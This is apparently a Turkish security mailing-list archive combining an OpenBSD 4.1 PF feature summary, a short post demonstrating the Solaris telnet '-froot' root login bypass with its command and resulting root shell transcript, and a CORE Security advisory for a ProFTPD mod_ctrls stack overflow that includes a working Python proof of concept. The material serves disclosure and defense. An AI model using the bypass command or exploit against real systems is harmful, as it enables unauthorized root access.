OpenBSD yeni surumu olan 4.1 cikmasiyla beraber kullanabilecegimiz PF'in yeni ozellikleri su sekilde belirtilmis.

* pass kurallarinda keep state varsayilan olarak geliyor

* Ayni sekilde flags S/SA varsayilan olarak gelenler arasinda

* kural optimizasyonu pf.conf icin etkinlestirilebiliyor.

.....


Each release since 3.0 has included exciting updates to PF. OpenBSD 4.1 is no different. From enabling keep state and flags S/SA by default, to further synchronizing pfctl command line options with what can be done inside pf.conf, to greater logging flexability and improved anchor support, the PF development team continues to expand PF's usability and functionality. Read on for more information about each of the PF updates.

keep state now default The default action with pass rules is to keep state. To prevent keeping state on a rule, use no state: "pass on $vpn_if all no state". To apply options like max, max-src-conn-rate and max-src-states, you must explicitly specify keep state. flags S/SA now default For stateful TCP connections, S/SA are the default flags checked. From the man page, "out of SYN and ACK, exactly SYN may be set." To override this behavior and not check TCP flags, use "flags any". The ruleset optimiser can be enabled in pf.conf(5) set ruleset-optimization basic is the default behavior for pf: duplicate rules are removed, rules that are a subset of another rule are removed, multiple rules are combined into a table when advantageous and rules are reordered to improve performance. Other options besides "basic" are "none" and "profile". See pf.conf(5) for more information. pfctl(8) command line options can override what is specified in pf.conf (pfctl -o none). pfctl(8) can now expire table entries pfctl -t badssh -T expire 86400 will expire table entries either 86400 seconds old or 86400 seconds since the last time its statistics were cleared. hoststated(8) is a NEW load balancing daemon at layers 3 & 7 hoststated does load balancing by keeping pf tables and rdr rules up to date. Rulesets are managed through the rdr-anchor "hoststated/*" anchor. See hoststated.conf(5) for configuration information and hoststatectl(8) for control information. pflog(4) is clonable After creating additional pflog interfaces (using ifconfig), rules can specify which pflog interface to use: "pass out log to pflog1 on $ext_if to port smtp". This will log traffic sent to SMTP servers to a different log interface than the default. pflogd(8) and spamlogd(8) (spamlogd -l pflog1) can now be told which pflog interface to work with. pfsync(4) is clonable as well This enables pfsync0 to only exist if needed. Anchors can be loaded inline in the main pf.conf(5) Previously, anchors were loaded from external files (load anchor foo from "/etc/pf-foo.conf") or through pfctl(8), ftp-proxy(8) or authpf(8). Filter anchors can now be loaded inline within a brace delimited block (from pf.conf(5): anchor "external" on egress { block anchor out { pass proto tcp from any to port { 25, 80, 443 } } pass in proto tcp to any port 22 } Anchors can also be recursively printed with pfctl(8): pfctl -a 'authpf/*' -sr (which prints the authpf ruleset recursively). Rules inside anchors can have their counters reset. pf(4) can select between multiple routing tables The route(8) command (and the routing daemons) can be told which routing table to modify: route -n -T1 add -inet 10.8.8.0/24 10.1.1.1. Rules can be written to take advantage of specific routing tables: pass in on $ext_if from $companyA rtable 1. kaynak : http://undeadly.org/cgi?action=article&sid=20070424020008
-- Bâkır EMRE I. Türkiye BSD Konferansı http://www.bsdcontr.org

sunOS 5.10 da  da calisiyor. Isin garibi bu acik '94 yilinda benzer sistemlerde yayinlanmis..

# telnet -l -froot 10.1.1.1

Trying 10.1.1.1...
Connected to 10.1.1.1.
Escape character is '^]'.
[ Trying mutual KERBEROS5 (host/10.1.1.1 <at> 4.34.109)... ]
Kerberos V5: mk_req failed (No such file or directory)
[ Trying KERBEROS5 ( host/10.1.1.1 <at> 4.34.109)... ]
Kerberos V5: mk_req failed (No such file or directory)
Last login: Mon Feb 12 15:20:12 on console
Sun Microsystems Inc.   SunOS 5.10      Generic January 2005
Sourcing //.profile-EIS.....
root <at> dslam0 # root <at> dslam00 #

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Ag guvenligi listesine uye oldunuz mu?
http://www.huzeyfe.net/netsec.html
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Necati Ersen SISECI EnderUnix Core Team Member EnderUnix SDT ~ Turkey http://www.enderunix.org

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CORE-2006-1127: ProFTPD Controls Buffer Overflow

Wed, 13 Dec 2006 19:06:42 -0300

CORE Security Technologies Advisories <advisories-0FyRsM13kUPaAuaqOFhJ3w@public.gmane.org>

CORE Security Technologies

Bugtraq <bugtraq-o7tR/nIX9Vi1EmJ4MpGYnQC/G2K4zDHf@public.gmane.org>, Vulnwatch <vulnwatch-3T3o+lXKbNYdYYaOPf09RA@public.gmane.org>, NTBUGTRAQ-0lvw86wZMd93A7xznzfdCb+nvDzpiOUH@public.gmane.org

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - Corelabs Advisory http://www.coresecurity.com/corelabs/ ProFTPD Controls Buffer Overflow Date Published: 2006-12-13 Last Update: 2006-12-12 Advisory ID: CORE-2006-1127 Bugtraq ID: None currently assigned CVE Name: None currently assigned Title: ProFTPD Controls Buffer Overflow Class: Boundary Error Condition (Buffer Overflow) Remotely Exploitable: No Locally Exploitable: Yes Advisory URL: http://www.coresecurity.com/?module=ContentMod&action=item&id=1594 Vendors contacted: ProFTPD - - CORE notification: 2006-11-30 - - Notification acknowledged by ProFTPD maintainers: 2006-11-30 - - Technical details sent to ProFTPD maintainers: 2006-11-30 - - ProFTPD team produces a patch for this issue: 2006-12-08 - - Fixed ProFTPD version publicly available: 2006-12-12 - - CORE advisory release: 2006-12-13 Release Mode: COORDINATED RELEASE *Vulnerability Description* A locally exploitable stack overflow vulnerability has been found in the mod_ctrls module of ProFTPD server. ProFTPD is a commonly used and highly configurable FTP server for Unix and Windows systems. This server is available as an optional package in most recent Linux distributions, including Debian (sid), Mandriva 2007 and Ubuntu Edgy. For more information concerning ProFTPD, refer to the site http://www.proftpd.org/ The vulnerability is located in the "Controls" module. This is an optional feature of ProFTPD server, that must be activated in the configuration file. Controls are a way to communicate directly with a standalone ProFTPD daemon while it is running. This provides administrators a way to alter the daemon's behavior in real time, without having to restart the daemon and have it re-read its configuration. The Controls feature allow authorized users to locally manage parameters of the ProFTPD servers, like aborting connections, managing users, changing log levels, disabling individual virtual servers, etc. The vulnerability allows local attackers with access to the Controls features (and who have been allowed by Controls ACLs in proftpd.conf) to gain root privileges. *Vulnerable Packages* ProFTPD 1.3.0a ProFTPD 1.3.0 (Older packages are also possibly vulnerable) *Solution/Vendor Information/Workaround* As a workaournd, turn off the module mod_ctrls, with the following lines added to proftpd.conf: <IfModule mod_ctrls.c> ControlsEngine off </IfModule> Alternatively, administrators can use the ControlsACLs directive in proftpd.conf to restrict access only to trusted local users. Version 1.3.1rc1 of ProFTPD, which fixes this issue, is available on the ProFTPD site (http://www.proftpd.org/). *Credits* This vulnerability was found by Alfredo Ortega from Core Security Technologies. We wish to thank TJ Saunders from the ProFTPD team for his quick response to this issue. *Technical Description - Exploit/Concept Code* The vulnerability exists in pr_ctrls_recv_request() function from src/ctrls.c Analysis of the vulnerability follows: - ---------------------------------------------------- (Code from ProFTPD 1.3.0a, src/ctrls.c ) int pr_ctrls_recv_request(pr_ctrls_cl_t *cl) { pr_ctrls_t *ctrl = NULL, *next_ctrl = NULL; char reqaction[512] = {'\0'}, *reqarg = NULL; size_t reqargsz = 0; unsigned int nreqargs = 0, reqarglen = 0; . . . /* Next, read in the requested number of arguments. The client sends * the arguments in pairs: first the length of the argument, then the * argument itself. The first argument is the action, so get the first * matching pr_ctrls_t (if present), and add the remaining arguments to it. */ (1) if (read(cl->cl_fd, &reqarglen, sizeof(unsigned int)) < 0) { pr_signals_unblock(); return -1; } (2) if (read(cl->cl_fd, reqaction, reqarglen) < 0) { pr_signals_unblock(); return -1; } . . . } - ---------------------------------------------------- In (1) the integer 'reqarglen' is fully controlled by the attacker, as it's read directly from the control socket. This allows an attacker to control how much we read into the 'reqaction' variable in (2) (this variable is in the stack). Example of vulnerable configuration in proftpd.conf: <IfModule mod_ctrls.c> ControlsEngine on ControlsACLs all allow group someuser ControlsMaxClients 2 ControlsLog /var/log/proftpd/controls.log ControlsInterval 5 ControlsSocket /tmp/ctrls.sock ControlsSocketOwner someuser someuser ControlsSocketACL allow group someuser </IfModule> ProFTPD must be compiled with mod_ctrls support ( --enable-ctrls ). The following is a simple working proof-of-concept (Python). - ---------------------------------------------------- # Core Security Technologies - Corelabs Advisory # ProFTPD Controls buffer overflow import socket import os, os.path,stat #This works with default proftpd 1.3.0a compiled with gcc 4.1.2 (ubuntu edgy) # ctrlSocket = "/tmp/ctrls.sock" mySocket = "/tmp/notused.sock" canary = "\0\0\x0a\xff" trampoline = "\x77\xe7\xff\xff" # jmp ESP on vdso shellcode = "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc" # inocuous "int 3" #Build Payload. The format on the stack is: # #AAAA = EBX BBBB = ESI CCCC = EDI DDDD = EBP EEEE = EIP payload = ("A"*512) + canary + "AAAABBBBCCCCDDDD" + trampoline + shellcode #Setup socket # if os.path.exists(mySocket): os.remove(mySocket) s = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM) s.bind(mySocket) os.chmod(mySocket,stat.S_IRWXU) s.connect(ctrlSocket) #Send payload # s.send("\1\0\0\0") s.send("\1\0\0\0") l = len(payload) s.send(chr(l & 255)+chr((l/255) & 255)+"\0\0") s.send(payload) #Finished # s.close() - ---------------------------------------------------- *References* For more information concerning the Controls module, refer to http://www.castaglia.org/proftpd/doc/contrib/ProFTPD-mini-HOWTO-Controls.html *About CoreLabs* CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs/ *About Core Security Technologies* Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide. The company?s flagship product, CORE IMPACT, is the first automated penetration testing product for assessing specific information security threats to an organization. Penetration testing evaluates overall network security and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core augments its leading technology solution with world-class security consulting services, including penetration testing, software security auditing and related training. Based in Boston, MA. and Buenos Aires, Argentina, Core Security Technologies can be reached at 617-399-6980 or on the Web at http://www.coresecurity.com. *DISCLAIMER* The contents of this advisory are copyright (c) 2006 CORE Security Technologies and (c) 2006 Corelabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given. *PGP Key* This advisory has been signed with the PGP key of Core Security Technologies Advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc $Id: proftpd-advisory.txt,v 1.9 2006/12/13 21:51:08 carlos Exp $ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFFgHlyyNibggitWa0RAhy6AKCc3kcrBMlQmaJe7bFsvt9u2ZQDiQCeMovD MxtNYvk6+ge+6k0tFCMuf0c= =CBKI -----END PGP SIGNATURE-----